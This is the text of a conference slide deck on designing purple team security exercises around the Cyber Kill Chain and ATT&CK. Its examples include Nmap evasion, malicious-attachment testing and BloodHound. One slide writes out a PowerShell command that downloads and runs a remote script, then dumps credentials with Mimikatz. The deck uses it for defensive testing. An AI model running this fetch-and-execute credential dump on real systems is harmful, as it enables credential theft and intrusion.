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PT_OWASP_AUSTIN_2017

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Haydn Johnson
Haydn Johnson

This document outlines how to conduct Purple Team exercises using the Cyber Kill Chain and Extended Cyber Kill Chain frameworks. It discusses: - Terminology related to purple teaming, red teaming, and blue teaming. - The purple team process of conducting focused penetration testing with clear training objectives for the blue team. - The Cyber Kill Chain and Extended Cyber Kill Chain models and how they can be used for exercises. - Other frameworks like ATT&CK that can aid exercises. - The different phases and teams involved in cyber exercises. - Examples of exercises that could be done using various tools and techniques mapped to the kill chains, like port scanning with Nmap and collecting credentials with Mim

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@haydnjohnson How to create Purple Team exercises with the CKC & EKC
@haydnjohnson Whoami Haydn Johnson Security Analyst | Manager | Purple Teamer Points (points.com) @haydnjohnson Talks: Bsides, Circle City Con, HackFest, SecTor. NolaCon Offsec, Purple Team, Gym?? http://www.slideshare.net/HaydnJohnson
3 I work here!
@haydnjohnson Inspiration from @carnal0wnage - Chris Gates @indi303 - Chris Nickerson Relevant Videos: Purple Teaming the Cyber Kill Chain Practical Exercises for Management http://2016.video.sector.ca/video/188841307 BruCON 0x08 - Building A Successful Internal Adversarial Simulation Team - C. Gates & C. Nickerson https://www.youtube.com/watch?v=Q5Fu6AvXi_A
@haydnjohnson 1. Outline give a summary of (something).
@haydnjohnson Outline What is Purple Teaming ❏ All about Cyber Kill Chain & Extended ❏ Lockheed Martin CKC ❏ Sean Malone EKC ❏ ATT&CK MITRE Cyber Exercises ❏ Events / Injects ❏ Teams ❏ Phases ❏ Execution in detail Examples of Purple Teaming ❏ NMap ❏ Mimikatz ❏ Attachment Testing ❏ Table Top ❏ BloodHound ❏ OpenDLP
@haydnjohnson Terminology
@haydnjohnson Terminology Vulnerability Assessment Person - Run Vuln Scanner....hey client you suck Penetration Tester - Metasploit / MSF PRO (FTW)...hey client you suck Red Teaming - Phish, move laterally, find “sensitive stuff”, maybe custom implant...hey client you suck Purple Teaming - You did all the above, but got to charge for an extra body and to tell the client how they suck in person
@haydnjohnson Terminology Red Teaming - “Red Team engagements are the full spectrum warfare of security assessments. In a red team engagement, the consultants attack the client organization using physical means, social engineering, and technological avenues. “ From: http://winterspite.com/security/phrasing/
@haydnjohnson Terminology From: http://winterspite.com/security/phrasing/ Red Teaming
@haydnjohnson From: Chris Nickerson Lares Consulting
@haydnjohnson Terminology Blue Team ❏ Network defenders ❏ Support ❏ Firewalls | Blinky Boxes ❏ Responders
@haydnjohnson Terminology Purple Team ❏ Working together to achieve the ultimate goal of making the organization more secure ❏ different threats & attacker mindset ❏ incident detection and response ❏ policy and procedures ❏ tuning of controls
@haydnjohnson
@haydnjohnson 2. Purple Team Process what | how
@haydnjohnson Purple Team ❏ Conducting focused pentesting (up to Red Teaming) with clear training objectives for the Blue Team. ❏ It isn't a "can you get access to X" exercise it is a "train the Blue Team on X" exercise. The pentesting activities are a means to conduct realistic training.
@haydnjohnson Purple Team ❏ Togetherness AttackDefend
@haydnjohnson 3. The CKC & ECKC Cyber Kill Chain Expanded Cyber Kill Chain
@haydnjohnson The Cyber Kill Chain Lockheed Martin http://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html
@haydnjohnson Cyber Kill Chain ❏ Worst Name Ever ❏ “The seven steps of the Lockheed Martin Cyber Kill Chain® enhance visibility into an attack and enrich an analyst’s understanding of an adversary’s tactics, techniques and procedures.” http://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html
@haydnjohnson Cyber Kill Chain
@haydnjohnson Cyber Kill Chain ❏ The Idea is great ❏ This is an integrated, end-to-end process described as a “chain” because any one deficiency will interrupt the entire process. ❏ AKA: Any deficiency in the attackers chain, will interrupt the entire process
@haydnjohnson Cyber Kill Chain https://countuponsecurity.com/tag/kill-chain/
@haydnjohnson Cyber Kill Chain Road Map http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Pape r-Intel-Driven-Defense.pdf
@haydnjohnson The Expanded Cyber Kill Chain Sean Malone https://www.blackhat.com/docs/us-16/materials/us-16-Malone-Using-An-Expanded-Cyber-Kill-Chai n-Model-To-Increase-Attack-Resiliency.pdf
@haydnjohnson Expanded Cyber Kill Chain ❏ AKA - The Internal Kill Chain ❏ Original CKC focuses primarily on before an attack gains access ❏ ECKC builds out the methodology once an attacker is in the network
@haydnjohnson Expanded Cyber Kill Chain http://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html External Cyber Kill Chain Internal Kill Chain Target Manipulation Kill Chain
@haydnjohnson From: https://www.blackhat.com/docs/us-16/materials/us-16-Malone-Using-An-Expanded-Cyber-Kill-Cha in-Model-To-Increase-Attack-Resiliency.pdf
@haydnjohnson ATT&CK Another framework! @MITREattack
@haydnjohnson ATT&CK Framework a threat modeling methodology and suite of models for the various phases of an adversary's lifecycle and platforms that are known to be targeted by cyber threats The MITRE ATT&CK Matrix™ is a visualization of the tactics and techniques.
@haydnjohnson ATT&CK Framework Looks like:
@haydnjohnson ATT&CK Framework Looks like:
@haydnjohnson ATT&CK Framework Great video that explains it in practice: Hackfest 2016 - Chris Nickerson : Adversarial Simulation: Why your defenders are the Fighter Pilots. https://www.youtube.com/watch?v=flmxbKfIAE4
@haydnjohnson ATT&CK Framework Attempting to implement
@haydnjohnson 4. Cyber Exercises MITRE cyber exercise playbook https://www.mitre.org/sites/default/files/publications/pr_14-3929-cyber-exercise-playbook.pdf
@haydnjohnson
@haydnjohnson Events / Injects Events - generally executed by the Red Team to elicit responses from the Blue Team in specific phases, focused on the objectives of the exercise.
@haydnjohnson Different Teams within cyber exercises
@haydnjohnson Exercises - Teams ECG GREY RED BLUE
@haydnjohnson Exercises - Teams Exercise Control Group Take information from other teams and make decision to ensure the exercise is “controlled” and reaches its goals. IR Manager Team Lead VP ECG
@haydnjohnson Exercises - Teams Gray Team / Observers Observe the Blue Team's reaction or non-reaction and report back to ECG. Ongoing process IR Manager Team Lead VP GREY
@haydnjohnson Exercises - Teams
@haydnjohnson Phases of cyber exercises
@haydnjohnson Phases of a Cyber Exercise ❏ Plan ❏ Execution ❏ Lessons Learned
@haydnjohnson Exercises - Planning Preliminary Meeting Middle Meetings Final Meeting
@haydnjohnson Exercises - Planning “By failing to prepare, you are preparing to fail.” Benjamin Franklin Everything needs consideration, pros, cons and a plan! 1. Brainstorming 2. Action Items 3. Budget / Approval
@haydnjohnson Exercises - Planning Each team needs to know the end goals (except Blue) Red Team needs to know what injects and when. Goals: 1. To prevent confusion 2. Finalize Objectives 3. Identify if training is required 4. Decide on Use Cases
@haydnjohnson Exercises - Ideas Initial Weakness New technology New Team Test assumption Budget Devils advocate
@haydnjohnson Exercises - Ideas https://github.com/aptnotes/data/blob/master/APTnotes.csv
@haydnjohnson Exercises - Execution ❏ Execution ❏ Go Time ❏ Observe, Change, Observe Be Dynamic
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 RT tasked with action
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 2 RT tasked with action Execute inject / event
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 2 3 Collects information RT tasked with action Execute inject / event
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 2 3 4 Collects information Feedback to ECG RT tasked with action Execute inject / event
@haydnjohnson Exercises - Execution What if no response? No Alerts?
@haydnjohnson Exercise Control Group Red Team Training Audience Observers ! Check for hackers.fu
@haydnjohnson Exercise Control Group Red Team Training Audience Observers ! Check alert for mal.exe
@haydnjohnson Exercises - Lessons Learned ❏ What observations were made during the exercise. What went well, what didn’t Positive and negative - constructive
@haydnjohnson Exercises - Lessons Learned ❏ Internally we need to prepare better ❏ Ensure findings are document ❏ Think of more alternative tests
@haydnjohnson Exercises - Lessons Learned Exercise Good Bad Improvements Follow-up
@haydnjohnson Exercises - Lessons Learned Collect Information from everyone Strengthen future exercises Exercise Control Group Red Team Training Audience Observers
@haydnjohnson 5. Example exercises Using CKC & EKC
@haydnjohnson Nmap Mimikatz Malicious Attachment Testing BloodHound Tabletop Exercise OpenDLP
@haydnjohnson Port Scanning Detection Nmap Internal Kill Chain External Cyber Kill Chain OR
@haydnjohnson Example 1 - Nmap # of People Required: 1 Level of knowledge required: Little Documentation online: Many Time to Test Minimal Disruption to Business None
@haydnjohnson Example 1 - Nmap Test if Nmap / Port scans can be seen internally or externally What do the alerts look like?
@haydnjohnson Example 1 - Nmap Start Basic Increase complexity Fragmentation
@haydnjohnson Example 1 - Nmap $END POINT SOLUTION catches Nmap $EPS misses fragmentation / slow scans Each workstation gives ALERT Try with Avast, McAfee, Symantec etc
@haydnjohnson Example 1 - Nmap https://nmap.org/book/man-bypass-firewalls-ids.html
@haydnjohnson Example 1 - Nmap Why Nmap? APT won’t use Nmap ❏ It is a start ❏ Simple & cheap ❏ Test current technology
@haydnjohnson Example 1 - PowerShell Advancing the exercise
@haydnjohnson PowerShell Remoting Mimikatz
@haydnjohnson Example 2- Credentials in Memory # of People Required: 1 -2 Level of knowledge required: Little Documentation online: Many Time to Test Minimal Disruption to Business None
@haydnjohnson Example 2- Credentials in Memory Helpdesk / Ops wants a secure way to remotely manage workstation(s). RDP | VNC - no thanks Want to use PowerShell Remoting because easier and ‘secure’ https://blog.netspi.com/powershell-remoting-cheatsheet/
@haydnjohnson Example 2- Credentials in Memory Requirements ❏ Ease of use ❏ Secure ❏ Auditbility Research shows this is possible
@haydnjohnson Example 2- Credentials in Memory Steps: ○ Before PS-Remoting ○ After PS-Remoting
@haydnjohnson Example 2- Credentials in Memory ❏ Need to know for sure ❏ Want to test credentials are safe ❏ See for self Mimikatz comes in
@haydnjohnson Example 2- Credentials in Memory Command Run: powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds | Out-File pre.txt” http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-pa sswords-with.html
@haydnjohnson Example 2- Credentials in Memory Dumping credentials
@haydnjohnson Example 2- Credentials in Memory PS-Remote
@haydnjohnson Example 2- Credentials in Memory Compare
@haydnjohnson Example 2 - Credentials in Memory Thumbs up success gift] / image
@haydnjohnson Example 2- Credentials in Memory Success! ❏ Need to document ❏ Have justification to Implement! ❏ Security Gives sign off!
@haydnjohnson email filter Malicious Attachment Testing External Cyber Kill Chain
@haydnjohnson Example 3 - Malicious Attachment Testing <Email> is great at filtering malicious emails, attachments etc. We want to see what gets through to know what to expect “What could get through”
@haydnjohnson Example 3 - Malicious Attachment Testing Malicious File Maker @carnal0wnage https://github.com/carnal0wnage/malicious_file_make r
@haydnjohnson Example 3 - Malicious Attachment Testing Automates sending
@haydnjohnson Example 3 - Malicious Attachment Testing AV Pop-Ups
@haydnjohnson Example 3 - Malicious Attachment Testing
@haydnjohnson Example 3 - Malicious Attachment Testing
@haydnjohnson Example 3 - Malicious Attachment Testing Not script kiddie friendly
@haydnjohnson Example 3 - Malicious Attachment Testing Some attachments you cannot send
@haydnjohnson Example 3 - Malicious Attachment Testing Receiving file attachments
@haydnjohnson Example 3 - Malicious Attachment Testing The goal: ❏ Confirm email attachment filtering ❏ Confirm attachments that bypass ❏ Document findings for reference ❏ Potential defenses / future steps
@haydnjohnson Example 3 - Malicious Attachment Testing Which allows us: ❏ Potential tuning to block file types ❏ Research file types for use in the wild ❏ Identification of compensating controls
@haydnjohnson BloodHound Domain Admin Paths Internal Kill Chain
@haydnjohnson Example 4 - Domain Admin Paths # of People Required: 1 -2 Level of knowledge required: Enough to install the tool Documentation online: Installation instructions Time to Test Minimal Disruption to Business Potential to pop alerts
@haydnjohnson Example 4 - Domain Admin Paths Goals: ❏ Identify Domain Admins ❏ Identify derivative admins ❏ Weakness in the chain of trust
@haydnjohnson Example 4 - Domain Admin Paths BloodHound command: https://blog.stealthbits.com/attacking-active-directory-permissions-with-bloodhound/ https://wald0.com/?p=112 https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started
@haydnjohnson Example 4 - Domain Admin Paths Tested with helpdesk access
@haydnjohnson Example 4 - Domain Admin Paths Mystery account “SUPERHERO” identified via ACLs
@haydnjohnson Example 4 - Domain Admin Paths ❏ Follow up on mystery account ❏ Create Ticket ❏ Does it require the access it has? Test with a group that has less access
@haydnjohnson Table Top Exercise Internal Kill Chain External Cyber Kill Chain Target Manipulation Kill Chain
@haydnjohnson Example 4 - Table Top Exercise # of People Required: Many Level of knowledge required: Varied Documentation online: Yes Time to Test Long term Disruption to Business 1 day +
@haydnjohnson Example 4 - Table Top Exercise Goals: ❏ Raise awareness ❏ Practice before it happens
@haydnjohnson Example 4 - Table Top Exercise Pre Hack During Post https://www.sans.org/reading-room/whitepapers/analyst/killing-advanced-threats-tracks-intelligent- approach-attack-prevention-35302
@haydnjohnson Example 4 - Table Top Exercise Pre Hack $Group Threaten Company https://www.sans.org/reading-room/whitepapers/analyst/killing-advanced-threats-tracks-intelligent- approach-attack-prevention-35302
@haydnjohnson
@haydnjohnson Example 4 - Table Top Exercise Response A
@haydnjohnson Example 4 - Table Top Exercise Response B
@haydnjohnson Example 4 - Table Top Exercise ECURITY C - LEVEL PR IT
@haydnjohnson Example 4 - Table Top Exercise Technical Response IR Hardening Public Response Disclosure Insurance
@haydnjohnson Example 4 - Table Top Exercise Do this for each stage: ❏ Pre Hack ❏ During ❏ Post Hack
@haydnjohnson OpenDLP Lateral Movement Target Manipulation Kill Chain
@haydnjohnson Example 5 - Lateral Movement # of People Required: 1-2 Level of knowledge required: Ability to find network shares Documentation online: Yes Time to Test hours Disruption to Business Minimal
@haydnjohnson Example 5 - Lateral Movement Goals: ❏ Is there sensitive information at rest? ❏ What data could be accessed on network shares
@haydnjohnson Please note ❏ Exercises do not have to be ‘offsec’ tool focused ❏ Attacker mindset is important ❏ Testing assumptions
@haydnjohnson Example 5 - Lateral Movement OpenDLP ❏ Data Loss prevention tool ❏ Identifies sensitive data at rest on thousands of systema ❏ Not easy to install https://github.com/ezarko/opendlp
@haydnjohnson Example 5 - Lateral Movement OpenDLP Video Reference Bsides Cleveland 2017 Blue-Teamin' on a Budget [of Zero] https://www.youtube.com/watch?v=77M0aO2F2fU
@haydnjohnson Example 5 - Lateral Movement ❏ Download OVA ❏ Transfer sc.exe from XP 32bit ❏ Install browser sert ❏ Start apache ❏ connect
@haydnjohnson Example 5 - Lateral Movement Issues with install: ❏ sc.exe 32bit ❏ Accessing web server ❏ Solution: XP http://www.makeuseof.com/tag/download-wi ndows-xp-for-free-and-legally-straight-from- microsoft-si/
@haydnjohnson Example 5 - Lateral Movement Import cert
@haydnjohnson Example 5 - Lateral Movement Looks like this
@haydnjohnson Example 5 - Lateral Movement ❏ PII ❏ Credit card data etc
@haydnjohnson Example 5 - Lateral Movement Report looks like:
@haydnjohnson Example 5 - Lateral Movement ❏ This is still a work in progress. ❏ Wondering how I can create a process out of it
@haydnjohnson Conclusion
@haydnjohnson Top Takeaways Don’t Assume Be Proactive Take action
129 Questions, Comments, Ask away Thank you OWASP AUSTIN for having me!

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PT_OWASP_AUSTIN_2017